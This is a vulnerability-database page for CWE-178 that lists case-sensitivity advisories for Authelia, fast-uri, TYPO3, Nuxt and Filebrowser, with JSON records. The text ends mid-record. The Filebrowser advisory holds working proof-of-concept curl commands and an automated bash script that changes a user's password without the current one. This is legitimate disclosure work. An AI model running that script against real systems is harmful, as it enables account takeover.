CWE-178
AllowedImproper Handling of Case Sensitivity
Abstraction: Base · Status: Incomplete
The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.
196 vulnerabilities reference this CWE, most recent first.
GHSA-HJJ4-HFJM-FMRJ
Vulnerability from github – Published: 2026-05-29 21:21 – Updated: 2026-06-26 21:32Impact
CVSSv4 Baseline Score: Moderate 6.3
CVSSv4 Weighted Score: Low 2.9
The full CVSSv4 Vector for this vulnerability is:
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:L/IR:L/AR:L/MAV:N/MAC:H/MAT:N/MPR:N/MUI:N/MVC:L/MVI:N/MVA:N/MSC:N/MSI:N/MSA:N/S:N/AU:Y/R:U/V:D/RE:L/U:Green
CVSSv3.1 Baseline Score: Low 3.7
CVSSv3.1 Overall Score: Medium 4.0
The full CVSSv3.1 Vector equivalent for this vulnerability is:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P/RL:O/RC:X/CR:H/IR:L/AR:L/MAV:N/MAC:H/MPR:N/MUI:N/MS:U/MC:L/MI:N/MA:N
The weighted severity rating is a result of no indication this is currently being exploited being available at the time of the publish date, in addition to the fact it's unlikely that it is being exploited currently.
Due to lack of canonicalization of the basic auth username, the effectiveness of the brute force mechanism when using basic auth is partially degraded.
Most passwords of reasonable length are unlikely to have a meaningful effect due to the fact there is no clear feedback to an attacker that is attempting to exploit this, thus their brute force attempts are significantly more likely to miss a valid password than they are identify a valid one.
Details
When a user authenticates via Basic Auth (i.e via the Authorization header with the Basic scheme) on the authz verification endpoint, Authelia takes the username directly from the Authorization header and passes it as is to the regulation system for ban checking and attempt recording.
LDAP treats usernames case insensitively : john, John, and JOHN all bind as the same user. But the regulation SQL queries treat the lookup of these values in certain scenarios as case sensitive. This allows each variation of a usernames case to have its own ban bucket.
Notable conditions or unaffected configurations:
- The first factor login endpoint (
/api/firstfactor) is not affected - The LDAP authentication backend must be in use.
- If the underlying database is case insensitive (as it should be with the collation we use for MySQL) it is not affected
- Administrators using the recently added IP regulation mode are not affected
- Administrators using a third-party tool such as CrowdSec or fail2ban are not affected
- Administrators that have disabled basic auth are not affected
Patches
Upgrade to 4.39.20.
Commit: https://github.com/authelia/authelia/commit/b8985b57b70acdff8f204ed426ff619e763461ad
Workarounds
Explicitly disable the basic auth mechanism.
Caddy, HAProxy, and Traefik
server:
endpoints:
authz:
forward-auth:
implementation: 'ForwardAuth'
authn_strategies:
- name: 'CookieSession'
nginx
server:
endpoints:
authz:
auth-request:
implementation: 'AuthRequest'
authn_strategies:
- name: 'CookieSession'
Envoy
server:
endpoints:
authz:
ext-authz:
implementation: 'ExtAuthz'
authn_strategies:
- name: 'CookieSession'
References
N/A
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.39.19"
},
"package": {
"ecosystem": "Go",
"name": "github.com/authelia/authelia/v4"
},
"ranges": [
{
"events": [
{
"introduced": "4.38.0"
},
{
"fixed": "4.39.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47203"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-307"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T21:21:12Z",
"nvd_published_at": "2026-06-19T21:16:57Z",
"severity": "LOW"
},
"details": "### Impact\n\n**CVSSv4 Baseline Score:** Moderate 6.3\n\n**CVSSv4 Weighted Score:** Low 2.9\n\nThe full CVSSv4 Vector for this vulnerability is:\n\n\u003e CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:L/IR:L/AR:L/MAV:N/MAC:H/MAT:N/MPR:N/MUI:N/MVC:L/MVI:N/MVA:N/MSC:N/MSI:N/MSA:N/S:N/AU:Y/R:U/V:D/RE:L/U:Green\n\n**CVSSv3.1 Baseline Score:** Low 3.7\n\n**CVSSv3.1 Overall Score:** Medium 4.0\n\nThe full CVSSv3.1 Vector equivalent for this vulnerability is:\n\n\u003e CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P/RL:O/RC:X/CR:H/IR:L/AR:L/MAV:N/MAC:H/MPR:N/MUI:N/MS:U/MC:L/MI:N/MA:N\n\nThe weighted severity rating is a result of no indication this is currently being exploited being available at the time of the publish date, in addition to the fact it\u0027s unlikely that it is being exploited currently.\n\nDue to lack of canonicalization of the basic auth username, the effectiveness of the brute force mechanism when using basic auth is partially degraded.\n\nMost passwords of reasonable length are unlikely to have a meaningful effect due to the fact there is no clear feedback to an attacker that is attempting to exploit this, thus their brute force attempts are significantly more likely to miss a valid password than they are identify a valid one.\n\n### Details\n\nWhen a user authenticates via Basic Auth (i.e via the `Authorization` header with the `Basic` scheme) on the authz verification endpoint, Authelia takes the username directly from the `Authorization` header and passes it as is to the regulation system for ban checking and attempt recording.\n\nLDAP treats usernames case insensitively : `john`, `John`, and `JOHN` all bind as the same user. But the regulation SQL queries treat the lookup of these values in certain scenarios as case sensitive. This allows each variation of a usernames case to have its own ban bucket.\n\nNotable conditions or unaffected configurations:\n\n1. The first factor login endpoint (`/api/firstfactor`) is **not** affected\n2. The LDAP authentication backend must be in use.\n3. If the underlying database is case insensitive (as it should be with the collation we use for MySQL) it is **not** affected\n4. Administrators using the recently added IP regulation mode are **not** affected\n5. Administrators using a third-party tool such as CrowdSec or fail2ban are **not** affected\n6. Administrators that have disabled basic auth are **not** affected\n\n### Patches\n\nUpgrade to 4.39.20.\n\nCommit: https://github.com/authelia/authelia/commit/b8985b57b70acdff8f204ed426ff619e763461ad\n\n### Workarounds\n\nExplicitly disable the basic auth mechanism.\n\n#### Caddy, HAProxy, and Traefik\n\n```yaml\nserver:\n endpoints:\n authz:\n forward-auth:\n implementation: \u0027ForwardAuth\u0027\n authn_strategies:\n - name: \u0027CookieSession\u0027\n```\n\n#### nginx\n\n```yaml\nserver:\n endpoints:\n authz:\n auth-request:\n implementation: \u0027AuthRequest\u0027\n authn_strategies:\n - name: \u0027CookieSession\u0027\n```\n\n#### Envoy\n\n```yaml\nserver:\n endpoints:\n authz:\n ext-authz:\n implementation: \u0027ExtAuthz\u0027\n authn_strategies:\n - name: \u0027CookieSession\u0027\n```\n\n### References\n\nN/A",
"id": "GHSA-hjj4-hfjm-fmrj",
"modified": "2026-06-26T21:32:40Z",
"published": "2026-05-29T21:21:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authelia/authelia/security/advisories/GHSA-hjj4-hfjm-fmrj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47203"
},
{
"type": "WEB",
"url": "https://github.com/authelia/authelia/commit/b8985b57b70acdff8f204ed426ff619e763461ad"
},
{
"type": "PACKAGE",
"url": "https://github.com/authelia/authelia"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:L/IR:L/AR:L/MAV:N/MAC:H/MAT:N/MPR:N/MUI:N/MVC:L/MVI:N/MVA:N/MSC:N/MSI:N/MSA:N/S:N/AU:Y/R:U/V:D/RE:L/U:Green",
"type": "CVSS_V4"
}
],
"summary": "Authelia Missing Username Canonicalization in Basic Auth (LDAP)"
}
GHSA-HRR3-GC8F-F4QJ
Vulnerability from github – Published: 2026-09-29 23:54 – Updated: 2026-09-29 23:54Impact
fast-uri folds the host to lowercase before it percent-decodes the host, so a percent-encoded uppercase unreserved octet such as %41 decodes to a literal A that is never folded. For a scheme-relative reference (//host) there is no scheme, so the host canonicalization that repairs this on a scheme-bearing URL does not run. As a result parse, normalize, and equal disagree on the same host: parse("//%41.com").host returns "A.com" while parse("//a.com").host and parse("//A.com").host return "a.com", and equal("//%41.com", "//a.com") is false even though equal("//A.com", "//a.com") is true. An application that makes a case-sensitive host decision on fast-uri output for a scheme-relative reference, for example a host allowlist or denylist that compares parse(url).host or uses fast-uri.equal, can be steered past the check with a percent-encoded uppercase octet. Because a hostname is case-insensitive in DNS and HTTP routing, the evading spelling reaches the same host the check meant to gate, so the effect is check evasion rather than reaching a different registrable host.
Patches
Upgrade to fast-uri 4.1.5, 3.1.8, or 2.4.7.
Workarounds
Compare hosts case-insensitively (lowercase the parsed host before any allowlist or denylist decision), or avoid making case-sensitive host decisions on scheme-relative input until upgrading.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fast-uri"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.4.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "fast-uri"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "fast-uri"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.1.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-86472"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-29T23:54:25Z",
"nvd_published_at": "2026-09-15T11:17:12Z",
"severity": "MODERATE"
},
"details": "### Impact\n\n`fast-uri` folds the host to lowercase before it percent-decodes the host, so a percent-encoded uppercase unreserved octet such as `%41` decodes to a literal `A` that is never folded. For a scheme-relative reference (`//host`) there is no scheme, so the host canonicalization that repairs this on a scheme-bearing URL does not run. As a result `parse`, `normalize`, and `equal` disagree on the same host: `parse(\"//%41.com\").host` returns `\"A.com\"` while `parse(\"//a.com\").host` and `parse(\"//A.com\").host` return `\"a.com\"`, and `equal(\"//%41.com\", \"//a.com\")` is `false` even though `equal(\"//A.com\", \"//a.com\")` is `true`. An application that makes a case-sensitive host decision on `fast-uri` output for a scheme-relative reference, for example a host allowlist or denylist that compares `parse(url).host` or uses `fast-uri.equal`, can be steered past the check with a percent-encoded uppercase octet. Because a hostname is case-insensitive in DNS and HTTP routing, the evading spelling reaches the same host the check meant to gate, so the effect is check evasion rather than reaching a different registrable host.\n\n### Patches\n\nUpgrade to `fast-uri` 4.1.5, 3.1.8, or 2.4.7.\n\n### Workarounds\n\nCompare hosts case-insensitively (lowercase the parsed host before any allowlist or denylist decision), or avoid making case-sensitive host decisions on scheme-relative input until upgrading.",
"id": "GHSA-hrr3-gc8f-f4qj",
"modified": "2026-09-29T23:54:26Z",
"published": "2026-09-29T23:54:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/security/advisories/GHSA-hrr3-gc8f-f4qj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86472"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/commit/5dabb86732aa2a7655e258719970e61e12b6b4d1"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/fastify/fast-uri"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/releases/tag/v2.4.7"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/releases/tag/v3.1.8"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/releases/tag/v4.1.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "fast-uri vulnerable to inconsistent host case normalization via percent-encoded octets"
}
GHSA-HWVQ-2W67-RVXP
Vulnerability from github – Published: 2026-06-12 19:32 – Updated: 2026-06-12 19:32Problem
Backend users with file write permissions were able to upload form definition files with mixed-case extensions (e.g., .FORM.YAML) to bypass the Form Framework's upload restriction. Maliciously crafted form definition files can be used to execute arbitrary SQL statements, allowing attackers to escalate privileges by creating administrative backend user accounts.
Solution
Update to TYPO3 versions 10.4.57 ELTS, 11.5.51 ELTS, 12.4.46 ELTS, 13.4.31 LTS, 14.3.3 LTS that fix the problem described.
Credits
TYPO3 CMS thanks Alexander Künzl for reporting this issue, and to TYPO3 core & security team members Oliver Hader and Benjamin Franzke for fixing it.
Resources
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.4.57"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-core"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.5.51"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-core"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0"
},
{
"fixed": "12.4.46"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-core"
},
"ranges": [
{
"events": [
{
"introduced": "13.0.0"
},
{
"fixed": "13.4.31"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-core"
},
"ranges": [
{
"events": [
{
"introduced": "14.0.0"
},
{
"fixed": "14.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-form"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.4.57"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-form"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.5.51"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-form"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0"
},
{
"fixed": "12.4.46"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-form"
},
"ranges": [
{
"events": [
{
"introduced": "13.0.0"
},
{
"fixed": "13.4.31"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-form"
},
"ranges": [
{
"events": [
{
"introduced": "14.0.0"
},
{
"fixed": "14.3.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47346"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-12T19:32:09Z",
"nvd_published_at": "2026-06-09T11:16:52Z",
"severity": "HIGH"
},
"details": "### Problem\nBackend users with file write permissions were able to upload form definition files with mixed-case extensions (e.g., `.FORM.YAML`) to bypass the Form Framework\u0027s upload restriction. Maliciously crafted form definition files can be used to execute arbitrary SQL statements, allowing attackers to escalate privileges by creating administrative backend user accounts.\n\n### Solution\nUpdate to TYPO3 versions 10.4.57 ELTS, 11.5.51 ELTS, 12.4.46 ELTS, 13.4.31 LTS, 14.3.3 LTS that fix the problem described.\n\n### Credits\nTYPO3 CMS thanks Alexander K\u00fcnzl for reporting this issue, and to TYPO3 core \u0026 security team members Oliver Hader and Benjamin Franzke for fixing it.\n\n### Resources\n* [TYPO3-CORE-SA-2026-008](https://typo3.org/security/advisory/typo3-core-sa-2026-008)",
"id": "GHSA-hwvq-2w67-rvxp",
"modified": "2026-06-12T19:32:09Z",
"published": "2026-06-12T19:32:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/TYPO3/typo3/security/advisories/GHSA-hwvq-2w67-rvxp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47346"
},
{
"type": "WEB",
"url": "https://github.com/TYPO3/typo3/commit/2030617e6f273cee7b756c695f0a48a45a31eb47"
},
{
"type": "WEB",
"url": "https://github.com/TYPO3/typo3/commit/eb2b2251d90339d3ab55df3d4c0378ae0c780b45"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/typo3/cms-core/CVE-2026-47346.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/TYPO3/typo3"
},
{
"type": "WEB",
"url": "https://typo3.org/security/advisory/typo3-core-sa-2026-008"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "TYPO3 CMS has Broken Access Control in its Form Framework"
}
GHSA-HXVH-4H3W-PRP9
Vulnerability from github – Published: 2026-08-05 21:05 – Updated: 2026-08-05 21:05Impact
Nuxt matches route rules case-insensitively by default (mirroring vue-router's default sensitive: false routing). The fix for GHSA-mm7m-92g8-7m47 / CVE-2026-53721 lowercased the lookup path before matching route rules, but the route-rule keys compiled into the matcher were left verbatim. As a result, any route rule whose key contains an uppercase character (for example /Admin, /Dashboard/**, or the rules Nuxt derives from PascalCase/camelCase page files such as pages/Admin.vue) never matches, because every lookup is folded to lowercase while the key stays mixed-case.
vue-router still serves the page case-insensitively, so the page renders with none of its Nuxt route-rule protections applied. The most serious consequence is an authorization bypass: an appMiddleware rule used as an auth gate (routeRules: { '/Admin/dashboard': { appMiddleware: 'auth' } }) is dropped, and /Admin/dashboard, /admin/dashboard, and /ADMIN/dashboard all render the protected page (and its SSR-fetched data) to an unauthenticated visitor instead of redirecting to login. The same gap drops Nuxt's other app-side route-rule behaviours for mixed-case keys, including the client redirect middleware, the app-side ssr: false decision, prerender, and payload handling.
Patches
Fixed in nuxt@4.5.1 (4.x) and nuxt@3.21.10 (3.x). The route-rule matcher now case-folds the compiled keys the same way it folds the lookup path, so key and lookup normalisation are symmetric. Both sides are gated on router.options.sensitive: with sensitive: true (case-sensitive routing) configured casing is preserved on both sides.
Scope note: server-emitted per-route headers, server redirect, and proxy are matched by Nitro's own case-sensitive route-rule matcher, not by Nuxt's app-level matcher. They are unchanged by this advisory. The fix covers the app-level protections Nuxt owns (appMiddleware, appLayout, the client redirect middleware, the app ssr decision, prerender, and payload).
Workarounds
If you cannot upgrade immediately, any one of:
- Key all
routeRules(and name your page files) in lowercase, so the keys already match the folded lookup path. - Set
router: { options: { sensitive: true } }so routing and route-rule matching are both case-sensitive and exact (requests must then use the exact casing). - Enforce the sensitive protections server-side independently of route rules (for example a server middleware that checks auth), which does not rely on case-insensitive route-rule matching.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nuxt"
},
"ranges": [
{
"events": [
{
"introduced": "4.4.7"
},
{
"fixed": "4.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "nuxt"
},
"ranges": [
{
"events": [
{
"introduced": "3.21.7"
},
{
"fixed": "3.21.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-71315"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-05T21:05:18Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nNuxt matches route rules case-insensitively by default (mirroring vue-router\u0027s default `sensitive: false` routing). The fix for GHSA-mm7m-92g8-7m47 / CVE-2026-53721 lowercased the *lookup* path before matching route rules, but the route-rule *keys* compiled into the matcher were left verbatim. As a result, any route rule whose key contains an uppercase character (for example `/Admin`, `/Dashboard/**`, or the rules Nuxt derives from PascalCase/camelCase page files such as `pages/Admin.vue`) never matches, because every lookup is folded to lowercase while the key stays mixed-case.\n\nvue-router still serves the page case-insensitively, so the page renders with none of its Nuxt route-rule protections applied. The most serious consequence is an authorization bypass: an `appMiddleware` rule used as an auth gate (`routeRules: { \u0027/Admin/dashboard\u0027: { appMiddleware: \u0027auth\u0027 } }`) is dropped, and `/Admin/dashboard`, `/admin/dashboard`, and `/ADMIN/dashboard` all render the protected page (and its SSR-fetched data) to an unauthenticated visitor instead of redirecting to login. The same gap drops Nuxt\u0027s other app-side route-rule behaviours for mixed-case keys, including the client redirect middleware, the app-side `ssr: false` decision, `prerender`, and payload handling.\n\n### Patches\n\nFixed in `nuxt@4.5.1` (4.x) and `nuxt@3.21.10` (3.x). The route-rule matcher now case-folds the compiled keys the same way it folds the lookup path, so key and lookup normalisation are symmetric. Both sides are gated on `router.options.sensitive`: with `sensitive: true` (case-sensitive routing) configured casing is preserved on both sides.\n\nScope note: server-emitted per-route `headers`, server `redirect`, and `proxy` are matched by Nitro\u0027s own case-sensitive route-rule matcher, not by Nuxt\u0027s app-level matcher. They are unchanged by this advisory. The fix covers the app-level protections Nuxt owns (`appMiddleware`, `appLayout`, the client redirect middleware, the app `ssr` decision, `prerender`, and payload).\n\n### Workarounds\n\nIf you cannot upgrade immediately, any one of:\n\n- Key all `routeRules` (and name your page files) in lowercase, so the keys already match the folded lookup path.\n- Set `router: { options: { sensitive: true } }` so routing and route-rule matching are both case-sensitive and exact (requests must then use the exact casing).\n- Enforce the sensitive protections server-side independently of route rules (for example a server middleware that checks auth), which does not rely on case-insensitive route-rule matching.",
"id": "GHSA-hxvh-4h3w-prp9",
"modified": "2026-08-05T21:05:18Z",
"published": "2026-08-05T21:05:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-hxvh-4h3w-prp9"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/commit/619963309e082190bac4a26b05f2dd155b039b81"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/commit/ad624a75ad2d215f43633f6b40be346a7194d34d"
},
{
"type": "PACKAGE",
"url": "https://github.com/nuxt/nuxt"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/releases/tag/v3.21.10"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/releases/tag/v4.5.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nuxt route rules silently dropped for mixed-case paths, bypassing appMiddleware auth gates (incomplete fix for CVE-2026-53721)"
}
GHSA-HXW8-4H9J-HQ2R
Vulnerability from github – Published: 2026-02-10 00:22 – Updated: 2026-02-10 02:56Security Advisory: Authentication Bypass in User Password Update
Summary
A case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user's password) without providing the current password. By using Title Case field name "Password" instead of lowercase "password" in the API request, the current_password verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means.
CVSS Score: 7.5 (High)
CWE: CWE-178 (Improper Handling of Case Sensitivity)
Details
The vulnerability exists in http/users.go in the userPutHandler function (lines 181-200).
Vulnerable Code
// http/users.go:181-200
if d.settings.AuthMethod == auth.MethodJSONAuth {
var sensibleFields = map[string]struct{}{
"all": {},
"username": {},
"password": {}, // lowercase
"scope": {},
"lockPassword": {},
"commands": {},
"perm": {},
}
for _, field := range req.Which {
if _, ok := sensibleFields[field]; ok { // Case-sensitive lookup
if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
}
break
}
}
}
Root Cause
- The
sensibleFieldsmap uses lowercase keys (e.g.,"password") - The lookup
sensibleFields[field]is case-sensitive - When
req.Whichcontains"Password"(Title Case), the lookup returnsfalse - The password verification block is skipped entirely
- Later in the code (line 229), field names are converted to Title Case for processing, so
"Password"is a valid field name
Attack Flow
1. Attacker obtains victim's JWT token (via XSS, log leakage, etc.)
2. Attacker sends PUT /api/users/{id} with:
- which: ["Password"] (Title Case - bypasses validation)
- data.password: "attacker_password"
- NO current_password field required
3. Password is changed without verification
4. Victim is locked out, attacker has full access
PoC
Prerequisites
- A valid JWT token for any user account
- Target Filebrowser instance using JSON authentication (default)
Reproduction Steps
Step 1: Obtain a valid JWT token
TOKEN=$(curl -s -X POST "http://target:8080/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"victim","password":"victim_password"}')
Step 2: Attempt normal password change (should fail)
curl -s -X PUT "http://target:8080/api/users/1" \
-H "X-Auth: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"what": "user",
"which": ["password"],
"data": {"id": 1, "password": "NewPassword123456"}
}'
# Response: 400 Bad Request (the current password is incorrect)
Step 3: Bypass with Title Case (succeeds without current_password)
curl -s -X PUT "http://target:8080/api/users/1" \
-H "X-Auth: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"what": "user",
"which": ["Password"],
"data": {"id": 1, "password": "HackedPassword123"}
}'
# Response: 200 OK
Step 4: Verify account takeover
# Original password no longer works
curl -s -X POST "http://target:8080/api/login" \
-d '{"username":"victim","password":"victim_password"}'
# Response: 403 Forbidden
# New password works
curl -s -X POST "http://target:8080/api/login" \
-d '{"username":"victim","password":"HackedPassword123"}'
# Response: Valid JWT token
Automated PoC Script
#!/bin/bash
# Usage: ./poc.sh <target> <username> <current_password> <new_password>
TARGET="$1"
USERNAME="$2"
CURRENT_PASS="$3"
NEW_PASS="$4"
# Login
TOKEN=$(curl -s -X POST "$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$USERNAME\",\"password\":\"$CURRENT_PASS\"}")
# Get user ID from token
USER_ID=$(echo "$TOKEN" | python3 -c "
import sys,json,base64
parts=input().split('.')
payload=json.loads(base64.b64decode(parts[1]+'=='))
print(payload['user']['id'])
")
# Exploit: Change password without current_password
curl -s -X PUT "$TARGET/api/users/$USER_ID" \
-H "X-Auth: $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"what\": \"user\",
\"which\": [\"Password\"],
\"data\": {\"id\": $USER_ID, \"password\": \"$NEW_PASS\"}
}"
echo "Password changed to: $NEW_PASS"
Impact
Who is Impacted
- All Filebrowser users using JSON authentication method (default configuration)
- Any user whose JWT token can be obtained by an attacker
- Particularly high-value targets: administrator accounts
Attack Scenarios
| Scenario | Impact |
|---|---|
| XSS + Token Theft | Complete account takeover |
| JWT in Server Logs | Mass account compromise |
| Shared Computer | Session hijacking |
| Malicious Browser Extension | Credential theft |
Security Impact
| Category | Severity |
|---|---|
| Confidentiality | High - Attacker gains full account access |
| Integrity | High - Attacker can modify all user data |
| Availability | High - Legitimate user locked out |
Scope
- The vulnerability affects password modification only
- Other sensitive fields (
Username,Scope,Perm, etc.) have additional protection viaNonModifiableFieldsForNonAdmincheck - However, for administrators, all fields can be modified using this bypass technique
Suggested Fix
Option 1: Case-insensitive field matching (Recommended)
// Convert field to lowercase before checking
for _, field := range req.Which {
if _, ok := sensibleFields[strings.ToLower(field)]; ok {
if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
}
break
}
}
Option 2: Use Title Case in sensibleFields
var sensibleFields = map[string]struct{}{
"All": {},
"Username": {},
"Password": {}, // Title Case to match post-transformation
"Scope": {},
"LockPassword": {},
"Commands": {},
"Perm": {},
}
// Check AFTER field name transformation
for k, v := range req.Which {
v = cases.Title(language.English, cases.NoLower).String(v)
req.Which[k] = v
// Now check with Title Case
if _, ok := sensibleFields[v]; ok {
if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
}
break
}
}
References
- Affected File:
http/users.go - Affected Lines: 181-200
- Related Code:
NonModifiableFieldsForNonAdmin(line 17)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.57.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.57.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25889"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-10T00:22:33Z",
"nvd_published_at": "2026-02-09T22:16:03Z",
"severity": "MODERATE"
},
"details": "# Security Advisory: Authentication Bypass in User Password Update\n\n## Summary\n\nA case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user\u0027s password) **without providing the current password**. By using Title Case field name `\"Password\"` instead of lowercase `\"password\"` in the API request, the `current_password` verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means.\n\n**CVSS Score**: 7.5 (High) \n**CWE**: CWE-178 (Improper Handling of Case Sensitivity)\n\n---\n\n## Details\n\nThe vulnerability exists in `http/users.go` in the `userPutHandler` function (lines 181-200).\n\n### Vulnerable Code\n\n```go\n// http/users.go:181-200\nif d.settings.AuthMethod == auth.MethodJSONAuth {\n var sensibleFields = map[string]struct{}{\n \"all\": {},\n \"username\": {},\n \"password\": {}, // lowercase\n \"scope\": {},\n \"lockPassword\": {},\n \"commands\": {},\n \"perm\": {},\n }\n\n for _, field := range req.Which {\n if _, ok := sensibleFields[field]; ok { // Case-sensitive lookup\n if !users.CheckPwd(req.CurrentPassword, d.user.Password) {\n return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect\n }\n break\n }\n }\n}\n```\n\n### Root Cause\n\n1. The `sensibleFields` map uses **lowercase** keys (e.g., `\"password\"`)\n2. The lookup `sensibleFields[field]` is **case-sensitive**\n3. When `req.Which` contains `\"Password\"` (Title Case), the lookup returns `false`\n4. The password verification block is skipped entirely\n5. Later in the code (line 229), field names are converted to Title Case for processing, so `\"Password\"` is a valid field name\n\n### Attack Flow\n\n```\n1. Attacker obtains victim\u0027s JWT token (via XSS, log leakage, etc.)\n2. Attacker sends PUT 